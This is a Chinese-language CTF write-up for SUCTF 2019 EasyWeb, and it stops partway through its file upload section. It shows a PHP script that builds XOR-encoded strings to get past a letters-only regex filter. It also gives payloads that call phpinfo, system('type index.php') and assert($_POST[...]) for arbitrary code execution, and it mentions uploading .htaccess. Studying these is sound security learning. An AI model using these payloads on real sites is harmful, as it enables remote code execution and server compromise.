[SUCTF 2019]EasyWeb

1. 正则绕过

这有一篇讲正则绕过的:正则绕过
因为题目限制了连字母都不能输入了,那么我们就可以用异或:就是让两个不可见字符,异或之后,就变成了我们想要的字符。很神奇,但是哪两个不可见字符,异或之后,就是我们想要的字符了?下面这个代码可以帮我们实现。


$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>

但我不明白为什么,不能直接把“$_POST[‘a’];” 全都异或掉,这多省事儿了,但好像不行,而且好像还只能是GET型,我尝试了POST类型行不通。目前我就只知道它可以代替"_GET",然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system
这种思想,好像是来自一位叫p神的人,他是这么构造的,这样就可以执行任何函数了。

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[360]);

[SUCTF 2019]EasyWeb_第1张图片

2. 文件上传

在checkin里学的,上传.user.ini来绕过的方法,在这道题里,不管用了。因为好像必须去访问PHP文件,才会去检测user.ini的设置,也好像必须在此目录下有PHP文件,不需要访问。不管哪一个,这道题都不满足。所以我们上传.htaccess文件,但是php的版本到七点儿多了,那么

你可能感兴趣的:(CTF)